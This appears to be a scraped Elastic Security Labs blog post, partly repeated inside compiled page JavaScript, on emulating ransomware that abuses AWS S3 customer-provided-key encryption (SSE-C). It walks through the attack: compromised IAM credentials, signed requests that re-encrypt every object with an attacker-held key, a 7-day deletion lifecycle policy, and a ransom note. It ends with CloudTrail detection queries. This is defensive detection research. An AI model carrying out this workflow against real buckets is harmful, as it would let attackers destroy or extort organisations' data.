Vulnerable Infrastructure\n\nFor our whitebox emulation, it is important to replicate an S3 configuration that an organization might have in a real-world scenario. Below is a summary of the infrastructure deployed:\n\n* **Region**: us-east-1 (default deployment region) \n* **S3 Bucket**: A uniquely named payroll data bucket that contains sensitive data and allows adversary-controlled encryption \n* **Bucket Ownership Controls**: Enforces \"BucketOwnerEnforced\" to prevent ACL-based permissions \n* **Public Access Restrictions**: Public access is fully blocked to prevent accidental exposure \n* **IAM User**: A compromised adversary-controlled IAM user with excessive S3 permissions;no login profile is assigned, as access key credentials are used programmatically elsewhere for automated tasks \n* **IAM Policy**: At both bucket and object levels, adversaries have authorization to: \n * `s3:GetObject` \n * `s3:PutObject` \n * `s3:DeleteObject` \n * `s3:PutLifecycleConfiguration` \n * `s3:ListObjects` \n * `s3:ListBucket` \n* Applied at both bucket and object levels \n* **IAM Access Keys**: Access keys are generated for the adversary user, allowing programmatic access \n* **Dummy Data**: Simulated sensitive data (`customer_data.csv`) is uploaded to the bucket\n\nUnderstanding the infrastructure is critical for assessing how this type of attack unfolds. The Halcyon blog describes the attack methodology but provides little detail on the specific AWS configuration of the affected organizations. These details are essential for determining the feasibility of such an attack and the steps required for successful execution.\n\n## Bucket Accessibility and Exposure\n\nFor an attack of this nature to occur, an adversary must gain access to an S3 bucket through one of two primary methods:\n\n**Publicly Accessible Buckets**: If a bucket is misconfigured with a public access policy, an adversary can directly interact with it, provided the bucket’s permission policy allows actions such as *`s3:PutObject`*, `s3:DeleteObject`, or `s3:PutLifecycleConfiguration`. These permissions are often mistakenly assigned using a wildcard (\\*) principal, meaning anyone can execute these operations.\n\n**Compromised Credentials**: If an attacker obtains AWS credentials (via credential leaks, phishing, or malware), they can authenticate as a legitimate IAM user and interact with S3 as if they were the intended account owner.\n\nIn our emulation, we assume the bucket is not public, meaning the attack relies on compromised credentials. This requires the adversary to have obtained valid AWS access keys and to have performed cloud infrastructure discovery to identify accessible S3 buckets. This is commonly done using AWS API calls, such as `s3:ListAllMyBuckets`, `s3:ListBuckets`, or `s3:ListObjects`, which reveal buckets and their contents in specific regions.\n\n**Required IAM Permissions for Attack Execution:** To encrypt files using SSE-C and enforce a deletion policy successfully, the adversary must have appropriate IAM permissions. In our emulation, we configured explicit permissions for the compromised IAM user, but in a real-world scenario, multiple permission models could allow this attack:\n\n* **Custom Overly-Permissive Policies**: Organizations may unknowingly grant broad S3 permissions without strict constraints. \n* **AWS-Managed Policies:** The adversary may have obtained credentials associated with a user or role that has `AmazonS3FullAccess` or `AdministratorAccess`. \n* **Partial Object-Level Permissions**: If the IAM user had *`AllObjectActions`*, this would only allow object-level actions but would not grant lifecycle policy modifications or bucket listing, which are necessary to retrieve objects and then iterate them to encrypt and overwrite.\n\nThe Halcyon blog does not specify which permissions were abused, but our whitebox emulation ensures that the minimum necessary permissions are in place for the attack to function as described.\n\n**The Role of the Compromised IAM User** \nAnother critical factor is the type of IAM user whose credentials were compromised. In AWS, an adversary does not necessarily need credentials for a user that has an interactive login profile. Many IAM users are created exclusively for programmatic access and do not require an AWS Management Console password or Multi-Factor Authentication (MFA), both of which could serve as additional security blockers.\n\nThis means that if the stolen credentials belonging to an IAM user are used for automation or service integration, the attacker would have an easier time executing API requests without additional authentication challenges.\n\nWhile the Halcyon blog effectively documents the technique used in this attack, it does not include details about the victim's underlying AWS configuration. Understanding the infrastructure behind the attacks — such as bucket access, IAM permissions, and user roles — is essential to assessing how these ransom operations unfold in practice. Since these details are not provided, we must make informed assumptions to better understand the conditions that allowed the attack to succeed.\n\nOur emulation is designed to replicate the minimum necessary conditions for this type of attack, ensuring a realistic assessment of defensive strategies and threat detection capabilities. By exploring the technical aspects of the infrastructure, we can provide deeper insights into potential mitigations and how organizations can proactively defend against similar threats.\n\n## Setting Up Infrastructure\n\nFor our infrastructure deployment, we utilize Terraform as our IaC framework. To keep this publication streamlined, we have stored both the Terraform configuration and the atomic emulation script in a downloadable [gist](https://gist.github.com/terrancedejesus/f703a4a37a70d005080950a418422ac9) for easy access. Below is the expected local file structure once these files are downloaded.\n\n\n\nAfter setting up the required files locally, you can create a Python virtual environment for this scenario and install the necessary dependencies. Once the environment is configured, the following command will initialize Terraform and deploy the infrastructure:\n\nCommand: `python3 s3\\_sse\\_c\\_ransom.py deploy`\n\n\n\nOnce deployment is complete, the required AWS infrastructure will be in place to proceed with the emulation and execution of the attack. It’s important to note that public access is blocked, and the IAM policy is only applied to the dynamically generated IAM user for security reasons. However, we strongly recommend tearing down the infrastructure once testing is complete or after capturing the necessary data.\n\nIf you happen to log in to your AWS console or use the CLI, you can verify that the bucket in the `us-east-1` region exists and contains `customer_data.csv,` which, when downloaded, will be in plaintext. You will also note that no “ransom.note” exists either.\n\n\n\n\n\n## Explore How to Craft S3 SSE-C Requests in Python\n\nBefore executing the atomic emulation, it is important to explore the underlying tradecraft that enables an adversary to successfully carry out this attack ItW.\n\nFor those familiar with AWS, S3 operations — such as accessing buckets, listing objects, or encrypting data — are typically straightforward when using the AWS SDKs or AWS CLI. These tools abstract much of the complexity, allowing users to execute operations without needing a deep understanding of the underlying API mechanics. This also lowers the knowledge barrier for an adversary attempting to abuse these functionalities.\n\nHowever, the Halcyon blog notes a critical technical detail about the attack execution:\n\n“*The attacker initiates the encryption process by calling the x-amz-server-side-encryption-customer-algorithm header, utilizing an AES-256 encryption key they generate and store locally.*”\n\nThe key distinction here is the use of the `x-amz-server-side-encryption-customer-algorithm` header, which is required for encryption operations in this attack. According to AWS [documentation](https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html#ssec-and-presignedurl), this SSE-C header is typically specified when creating pre-signed URLs and leveraging SSE-C in S3. This means that the attacker not only encrypts the victim's data but does so in a way that AWS itself does not store the encryption key, rendering recovery impossible without the attacker's cooperation.\n\n### Pre-Signed URLs and Their Role in SSE-C Abuse\n\n**What are pre-signed URLs?** \n[Pre-signed URLs](https://docs.aws.amazon.com/AmazonS3/latest/userguide/using-presigned-url.html) are signed API requests that allow users to perform specific S3 operations for a limited time. These URLs are commonly used to securely share objects without exposing AWS credentials. A pre-signed URL grants temporary access to an S3 object and can be accessed through a browser or used programmatically in API requests.\n\nIn a typical AWS environment, users leverage SDKs or CLI wrappers for pre-signed URLs. However, when using SSE-C, AWS requires additional headers for encryption or decryption.\n\n**SSE-C and Required HTTP Headers** \nWhen making SSE-C requests — either via the AWS SDK or direct S3 REST API calls — the following headers must be included:\n\n* **x-amz-server-side-encryption-customer-algorithm**: Specify the encryption algorithm, but must be AES256 (Noted in Halcyon’s report) \n* **x-amz-server-side-encryption-customer-key**: Provides a 256-bit, base64-encoded encryption key for S3 to use to encrypt or decrypt your data \n* **x-amz-server-side-encryption-customer-key-MD5**: Provides a base64-encoded 128-bit MD5 digest of the encryption key; S3 uses this header for a message integrity check to ensure that the encryption key was transmitted without error or tampering\n\nWhen looking for detection opportunities, these details are crucial.\n\n**AWS Signature Version 4 (SigV4) and Its Role**\n\nRequests to S3 are either authenticated or anonymous. Since SSE-C encryption with pre-signed URLs requires [authentication](https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-authenticating-requests.html#signing-request-intro), all requests must be cryptographically signed to prove their legitimacy. This is where AWS Signature Version 4 (SigV4) comes in.\n\nAWS SigV4 is an authentication mechanism that ensures API requests to AWS services are signed and verified. This is particularly important for SSE-C operations, as modifying objects in S3 requires authenticated API calls.\n\nFor this attack, each encryption request must be signed by:\n\n1. Generating a cryptographic signature using AWS SigV4 \n2. Including the signature in the request headers \n3. Attaching the necessary SSE-C encryption headers \n4. Sending the request to S3 to overwrite the object with the encrypted version\n\nWithout proper SigV4 signing, AWS would reject these requests. Attacks like the one described by Halcyon rely on compromised credentials, and we know that because the requests were not rejected in our testing. It also suggests that adversaries know they can abuse AWS S3 misconfigurations like improper signing requirements and understand the intricacies of buckets and their respect object access controls.This reinforces the assumption that the attack relied on compromised AWS credentials rather than an exposed, publicly accessible S3 bucket and that the adversaries were skilled enough to understand the nuances with not only S3 buckets and objects but also authentication and encryption in AWS.\n\n# Detonating our Atomic Emulation\n\nOur atomic emulation will use the “compromised” credentials of the IAM user with no login profile who has a permission policy attached that allows several S3 actions to our target bucket. As a reminder, the infrastructure and environment we are conducting this in was deployed from the “Setting Up Infrastructure” section referencing our shared gist.\n\nBelow is a step-by-step workflow of the emulation.\n\n1. Load stolen AWS credentials (Retrieved from environment variables) \n2. Establish S3 client with compromised credentials \n3. Generate S3 endpoint URL (Construct the bucket’s URL) \n4. Enumerate S3 objects → s3:ListObjectsV2 (Retrieve object list) \n5. Generate AES-256 encryption key (Locally generated) \n6. Start Loop (For each object in bucket) \n 1. Generate GET request \u0026 sign with AWS SigV4 (authenticate request) \n 2. Retrieve object from S3 → s3:GetObject (fetch unencrypted data) \n 3. Generate PUT request \u0026 sign with AWS SigV4 (attach SSE-C headers) \n 4. Encrypt \u0026 overwrite object in S3 → s3:PutObject (encrypt with SSE-C) \n7. End loop \n8. Apply 7-Day deletion policy → s3:PutLifecycleConfiguration (time-restricted data destruction) \n9. Upload ransom note to S3 → s3:PutObject (Extortion message left for victim)\n\nBelow is a visual representation of this emulation workflow:\n\n\n\nIn our Python script, we have intentionally added prompts that require user interaction to confirm they agree to not abuse this script. Another prompt generated during detonation that stalls execution for the user to give time for AWS investigation if necessary before deleting the S3 objects. Since SSE-C is used, the objects are then encrypted with a key the terraform does not have acces to and thus would fail.\n\nCommand: `python s3\\_sse\\_c\\_ransom.py detonate`\n\nAfter detonation, the objects in our S3 bucket will be encrypted with SSE-C, a ransom note will have been uploaded, and an expiration lifecycle will have been added.\n\n\n\n\n\nIf you try to access the `customer_data.csv` object, AWS will reject the request because it was stored using server-side encryption. To retrieve the object, a signed request that includes the correct AES-256 encryption key is required.\n\n\n\n# Cleanup\n\nCleanup for this emulation is relatively simple. If you choose to keep the S3 objects, start with Step 1, otherwise go straight to step 5\\. \n\n1. Go to `us-east-1` region \n2. navigate to S3 \n3. locate the `s3-sse-c-ransomware-payroll-XX bucket` \n4. remove all objects \n5. Command: `python s3\\_sse\\_c\\_ransom.py cleanup`\n\nOnce completed, everything deployed initially will be removed.\n\n# Detection and Hunting Strategies\n\nAfter our atomic emulation, it’s critical to share how we can effectively detect this ransom behavior based on the API event logs provided by AWS’ CloudTrail. Note that we will be leveraging [Elastic Stack](https://www.elastic.co/elastic-stack) for data ingestion and initial query development; however, the query logic and context should be translatable to [your SIEM of choice](https://www.elastic.co/security/siem). It is also important to note that data events for S3 in your CloudTrail configuration should be set to “Log all events.”\n\n## Unusual AWS S3 Object Encryption with SSE-C\n\nThe goal of this detection strategy is to identify PutObject requests that leverage SSE-C, as customer-provided encryption keys can be a strong indicator of anomalous activity — especially if an organization primarily uses AWS-managed encryption through KMS (SSE-KMS) or S3's native encryption (SSE-S3).\n\nIn our emulation, `PutObject` requests were configured with the `x-amz-server-side-encryption-customer-algorithm` header set to `AES256`, signaling to AWS that customer-provided keys were used for encryption (SSE-C).\n\nFortunately, AWS CloudTrail logs these encryption details within request parameters, allowing security teams to detect unusual SSE-C usage. Key CloudTrail attributes to monitor include:\n\n* *SignatureVersion*: SigV4 → Signals that this request was signed \n* *SSEApplied: SSE\\_C* → Signals that server-side customer key encryption was used \n* *bucketName: s3-sse-c-ransomware-payroll-96* → Signals which bucket this happened to \n* *x-amz-server-side-encryption-customer-algorithm: AES256* → Signals which algorithm was used for the customer encryption key \n* *key: customer\\_data.csv* → Indicates the name of the object this was applied to\n\n\n\nWith these details we can already craft a threat detection query that would match these events and ultimately the threat reported in the original Halcyon blog.\n\n| event.dataset: \"aws.cloudtrail\" and event.provider: \"s3.amazonaws.com\" and event.action: \"PutObject\" and event.outcome: \"success\" and aws.cloudtrail.flattened.request\\_parameters.x-amz-server-side-encryption-customer-algorithm: \"AES256\" and aws.cloudtrail.flattened.additional\\_eventdata.SSEApplied: \"SSE\\_C\" |\n| :---- |\n\nWhile this detection is broad, organizations should tailor it to their environment by asking:\n\n* Do we expect pre-signed URLs with SigV4 for S3 bucket or object operations? \n* Do we expect SSE-C to be used for *PutObject* operations in S3 or this specific bucket?\n\n**Reducing False-Positives With New Term Rule Types** \nTo minimize false positives (FPs), we can leverage Elastic’s [New Terms rule type](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule), which helps detect first-time occurrences of suspicious activity. Instead of alerting on every match, we track unique combinations of IAM users and affected S3 buckets, only generating an alert when this behavior is observed for the first time within a set period. Some of the unique combinations we watch for are:\n\n* Unique IAM users (ARNs) performing SSE-C encryption in S3. \n* Specific buckets where SSE-C is applied.\n\nThese alerts only trigger if this activity has been observed for the first time in the last 14 days.\n\nThis adaptive approach ensures that legitimate use cases are learned over time, preventing repeated alerts on expected operations. At the same time, it flags anomalous first-time occurrences of SSE-C in S3, aiding in early threat detection. As needed, rule exceptions can be added for specific user identity ARNs, buckets, objects, or even source IPs to refine detection logic. By incorporating historical context and behavioral baselines, this method enhances signal fidelity, improving both the effectiveness of detections and the actionability of alerts.\n\n**Rule References**\n\n[Unusual AWS S3 Object Encryption with SSE-C](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_unusual_object_encryption_with_sse_c.toml) \n[Excessive AWS S3 Object Encryption with SSE-C](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_excessive_object_encryption_with_sse_c.toml)\n\n# Conclusion\n\nWe sincerely appreciate you taking the time to read this publication and, if you did, for trying out the emulation yourself. Whitebox testing plays a crucial role in cloud security, enabling us to replicate real-world threats, analyze their behavioral patterns, and develop effective detection strategies. With cloud-based attacks becoming increasingly prevalent, it is essential to understand the tooling behind adversary tactics and to share research findings with the broader security community.\n\nIf you're interested in exploring our AWS detection ruleset, you can find it here: [Elastic AWS Detection Rules](https://github.com/elastic/detection-rules/tree/main/rules/integrations/aws). We also welcome [contributions](https://github.com/elastic/detection-rules/tree/main?tab=readme-ov-file#how-to-contribute) to enhance our ruleset—your efforts help strengthen collective defenses, and we greatly appreciate them!\n\nWe encourage anyone with interest to review Halcyon’s publication and thank them ahead of time for sharing their research!\n\nUntil next time.\n\n# Important References:\n\n[Halcyon Research Blog on SSE-C ItW](https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c) \n[Elastic Emulation Code for SSE-C in AWS](https://gist.github.com/terrancedejesus/f703a4a37a70d005080950a418422ac9) \n[Elastic Pre-built AWS Threat Detection Ruleset](https://github.com/elastic/detection-rules/tree/main/rules/integrations/aws) \n[Elastic Pre-built Detection Rules Repository](https://github.com/elastic/detection-rules) \nRule: [Unusual AWS S3 Object Encryption with SSE-C](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_unusual_object_encryption_with_sse_c.toml) \nRule: [Excessive AWS S3 Object Encryption with SSE-C](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/impact_s3_excessive_object_encryption_with_sse_c.toml)\n","code":"var Component=(()=\u003e{var h=Object.create;var s=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var y=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),f=(i,e)=\u003e{for(var n in e)s(i,n,{get:e[n],enumerable:!0})},o=(i,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!g.call(i,r)\u0026\u0026r!==n\u0026\u0026s(i,r,{get:()=\u003ee[r],enumerable:!(a=u(e,r))||a.enumerable});return i};var b=(i,e,n)=\u003e(n=i!=null?h(m(i)):{},o(e||!i||!i.__esModule?s(n,\"default\",{value:i,enumerable:!0}):n,i)),w=i=\u003eo(s({},\"__esModule\",{value:!0}),i);var l=y((C,c)=\u003e{c.exports=_jsx_runtime});var A={};f(A,{default:()=\u003ek,frontmatter:()=\u003eS});var t=b(l()),S={title:\"Emulating AWS S3 SSE-C Ransom for Threat Detection\",slug:\"emulating-aws-s3-sse-c\",date:\"2025-02-20\",subtitle:\"Understanding and Detecting Ransom Using AWS S3\\u2019 SSE-C Service\",description:\"In this article, we\\u2019ll explore how threat actors leverage Amazon S3\\u2019s Server-Side Encryption with Customer-Provided Keys (SSE-C) for ransom/extortion operations.\",author:[{slug:\"terrance-dejesus\"}],image:\"Security Labs Images 11.jpg\",category:[{slug:\"security-research\"}]};function d(i){let e=Object.assign({h1:\"h1\",p:\"p\",a:\"a\",code:\"code\",strong:\"strong\",br:\"br\",ul:\"ul\",li:\"li\",ol:\"ol\",h2:\"h2\",em:\"em\",img:\"img\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h1,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Welcome to another installment of AWS detection engineering with Elastic. You can read the previous installment on \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/exploring-aws-sts-assumeroot\",rel:\"nofollow\",children:\"STS AssumeRoot here\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In this article, we\\u2019ll explore how threat actors leverage Amazon S3\\u2019s Server-Side Encryption with Customer-Provided Keys (SSE-C) for ransom/extortion operations. This contemporary abuse tactic demonstrates the creative ways adversaries can exploit native cloud services to achieve their monetary goals.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As a reader, you\\u2019ll gain insights into the inner workings of S3, SSE-C workflows, and bucket configurations. We\\u2019ll also walk through the steps of this technique, discuss best practices for securing S3 buckets, and provide actionable guidance for crafting detection logic to identify SSE-C abuse in your environment.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This research builds on a recent \",(0,t.jsx)(e.a,{href:\"https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c\",rel:\"nofollow\",children:\"publication\"}),\" by the Halcyon Research Team, which documented the first publicly known case of in-the-wild (ItW) abuse of SSE-C for ransomware behavior. Join us as we dive deeper into this emerging threat and demonstrate how to stay ahead of adversaries.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"We have published a \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/terrancedejesus/f703a4a37a70d005080950a418422ac9\",rel:\"nofollow\",children:\"gist\"}),\" containing the Terraform code and emulation script referenced in this blog. This content is provided for educational and research purposes only. Please use it responsibly and in accordance with applicable laws and guidelines. Elastic assumes no liability for any unintended consequences or misuse.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Do enjoy!\"}),`\n`,(0,t.jsx)(e.h1,{id:\"understanding-aws-s3-key-security-concepts-and-features\",children:\"Understanding AWS S3: Key Security Concepts and Features\"}),`\n`,(0,t.jsx)(e.p,{children:\"Before we dive directly into emulation and these tactics, techniques, and procedures (TTPs), let\\u2019s briefly review what AWS S3 includes.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"S3 is AWS\\u2019 common storage service that allows users to store any unstructured or structured data in \\u201Cbuckets\\u201D. These buckets are similar to folders that one would find locally on their computer system. The data stored in these buckets are called \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingObjects.html\",rel:\"nofollow\",children:\"objects\"}),\", and each object is uniquely identified by an object key, which functions like a filename. S3 supports many data formats, from JSON to media files and much more, making it ideal for a variety of organizational use cases.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingBucket.html\",rel:\"nofollow\",children:\"Buckets\"}),\" can be \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html\",rel:\"nofollow\",children:\"set up\"}),` to store objects from various AWS S3 services, but they can also be populated manually or programmatically depending on the use case. Additionally, buckets can leverage versioning to maintain multiple versions of objects, which provides resilience against accidental deletions or overwrites. However, versioning is not always enabled by default, leaving data vulnerable to certain types of attacks, such as those involving ransomware or bulk deletions.\n`,(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingBucket.html\",rel:\"nofollow\",children:\"Buckets\"}),\" can be \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html\",rel:\"nofollow\",children:\"set up\"}),\" to store objects from various AWS S3 services, but they can also be populated manually or programmatically depending on the use case. Additionally, buckets can leverage versioning to maintain multiple versions of objects, which provides resilience against accidental deletions or overwrites. However, versioning is not always enabled by default, leaving data vulnerable to certain types of attacks, such as those involving ransomware or bulk deletions.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Access to these buckets depends heavily on their access policies, typically defined during creation. These policies include settings such as disabling public access to prevent unintended exposure of bucket contents. Configuration doesn\\u2019t stop there, though; buckets also have their own unique Amazon Resource Name (ARN), which allows further granular access policies to be defined via identity access management (IAM) roles or policies. For example, if user \\u201CAlice\\u201D needs access to a bucket and its objects, specific permissions such as \",(0,t.jsx)(e.code,{children:\"s3:GetObject\"}),\", must be assigned to their IAM role. That role can either be applied directly to Alice as a permission policy or to an associated group they belong to.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"While these mechanisms seem foolproof, misconfigurations in access controls (e.g., overly permissive bucket policies or access control lists) are a common cause of security incidents. For example, as of this writing, approximately 325.8k buckets are publicly available according to \",(0,t.jsx)(e.a,{href:\"http://buckets.grayhatwarfare.com\",rel:\"nofollow\",children:\"buckets.grayhatwarfare.com\"}),\". Elastic Security Labs also observed that 30% of failed AWS posture checks were connected to S3 in the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/resources/security/report/global-threat-report\",rel:\"nofollow\",children:\"2024 Elastic Global Threat Report\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Server-Side Encryption in S3\"}),(0,t.jsx)(e.br,{}),`\n`,\"S3 provides \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html\",rel:\"nofollow\",children:\"multiple encryption options\"}),\" for securing data at rest. These include:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingServerSideEncryption.html\",rel:\"nofollow\",children:\"SSE-S3\"}),\": Encryption keys are fully managed by AWS.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingKMSEncryption.html\",rel:\"nofollow\",children:\"SSE-KMS\"}),\": Keys are managed through AWS Key Management Service (KMS), allowing for more custom key policies and access control \\u2014 see how these are \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/encryption-at-rest-elastic-cloud-aws-kms\",rel:\"nofollow\",children:\"implemented in Elastic\"}),\".\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html\",rel:\"nofollow\",children:\"SSE-C\"}),\": Customers provide their own encryption keys for added control. This option is often used for compliance or specific security requirements but introduces additional operational overhead, such as securely managing and storing keys. Importantly, AWS does not store SSE-C keys; instead, a key\\u2019s HMAC (hash-based message authentication code) is logged for verification purposes.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"In the case of SSE-C, mismanagement of encryption keys or intentional abuse (e.g., ransomware) can render data permanently inaccessible.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Lifecycle Policies\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"S3 buckets can also utilize \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html\",rel:\"nofollow\",children:\"lifecycle policies\"}),\", which automate actions such as transitioning objects to cheaper storage classes (e.g., Glacier) or deleting objects after a specified time. While these policies are typically used for cost optimization, they can be exploited by attackers to schedule the deletion of critical data, increasing pressure during a ransom incident.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Storage Classes\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Amazon S3 provides multiple \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/storage-class-intro.html\",rel:\"nofollow\",children:\"storage classes\"}),\", each designed for different access patterns and frequency needs. While storage classes are typically chosen for cost optimization, understanding them is crucial when considering how encryption and security interact with data storage.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"For example, S3 Standard and Intelligent-Tiering ensure frequent access with minimal latency, making them suitable for live applications. On the other hand, archival classes like Glacier Flexible Retrieval and Deep Archive introduce delays before data can be accessed, which can complicate incident response in security scenarios.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This becomes particularly relevant when encryption is introduced. Server-Side Encryption (SSE) works across all storage classes, but SSE-C (Customer-Provided Keys) shifts the responsibility of key management to the user or adversary. Unlike AWS-managed encryption (SSE-S3, SSE-KMS), SSE-C requires that every retrieval operation supplies the original encryption key \\u2014 and if that key is lost or not given by an adversary, the data is permanently unrecoverable.\"}),`\n`,(0,t.jsx)(e.p,{children:\"With this understanding, a critical question arises about the implications of SSE-C abuse observed in the wild: What happens when an attacker gains access to publicly exposed or misconfigured S3 buckets and has control over both the storage policy and encryption keys?\"}),`\n`,(0,t.jsx)(e.h1,{id:\"thus-begins-sse-c-abuse-for-ransom-operations\",children:\"Thus Begins: SSE-C Abuse for Ransom Operations\"}),`\n`,(0,t.jsx)(e.p,{children:\"In the following section, we will share a hands-on approach to emulating this behavior in our sandbox AWS environment by completing the following:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Deploy vulnerable infrastructure via Infrastructure-as-Code (IaC) provider Terraform\"}),`\n`,(0,t.jsx)(e.li,{children:\"Explore how to craft SSE-C requests in Python\"}),`\n`,(0,t.jsx)(e.li,{children:\"Detonate a custom script to emulate the ransom behavior described in the Halcyon blog\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"pre-requisites\",children:\"Pre-requisites\"}),`\n`,(0,t.jsx)(e.p,{children:\"This article is about recreating a specific scenario for detection engineering. If this is your goal, the following needs to be established first.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli\",rel:\"nofollow\",children:\"Terraform\"}),\" must be installed locally\"]}),`\n`,(0,t.jsx)(e.li,{children:\"Python 3.9+ must also be installed locally to be used for the virtual environment and to run an emulation script\"}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.a,{href:\"https://aws.amazon.com/cli/\",rel:\"nofollow\",children:\"AWS CLI\"}),\" profile must be set up with administrative privileges to be used by Terraform during infrastructure deployment\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h1,{id:\"deploying-vulnerable-infrastructure\",children:\"Deploying Vulnerable Infrastructure\"}),`\n`,(0,t.jsx)(e.p,{children:\"For our whitebox emulation, it is important to replicate an S3 configuration that an organization might have in a real-world scenario. Below is a summary of the infrastructure deployed:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Region\"}),\": us-east-1 (default deployment region)\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"S3 Bucket\"}),\": A uniquely named payroll data bucket that contains sensitive data and allows adversary-controlled encryption\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Bucket Ownership Controls\"}),': Enforces \"BucketOwnerEnforced\" to prevent ACL-based permissions']}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Public Access Restrictions\"}),\": Public access is fully blocked to prevent accidental exposure\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"IAM User\"}),\": A compromised adversary-controlled IAM user with excessive S3 permissions;no login profile is assigned, as access key credentials are used programmatically elsewhere for automated tasks\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"IAM Policy\"}),\": At both bucket and object levels, adversaries have authorization to:\",`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"s3:GetObject\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"s3:PutObject\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"s3:DeleteObject\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"s3:PutLifecycleConfiguration\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"s3:ListObjects\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"s3:ListBucket\"})}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.li,{children:\"Applied at both bucket and object levels\"}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"IAM Access Keys\"}),\": Access keys are generated for the adversary user, allowing programmatic access\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Dummy Data\"}),\": Simulated sensitive data (\",(0,t.jsx)(e.code,{children:\"customer_data.csv\"}),\") is uploaded to the 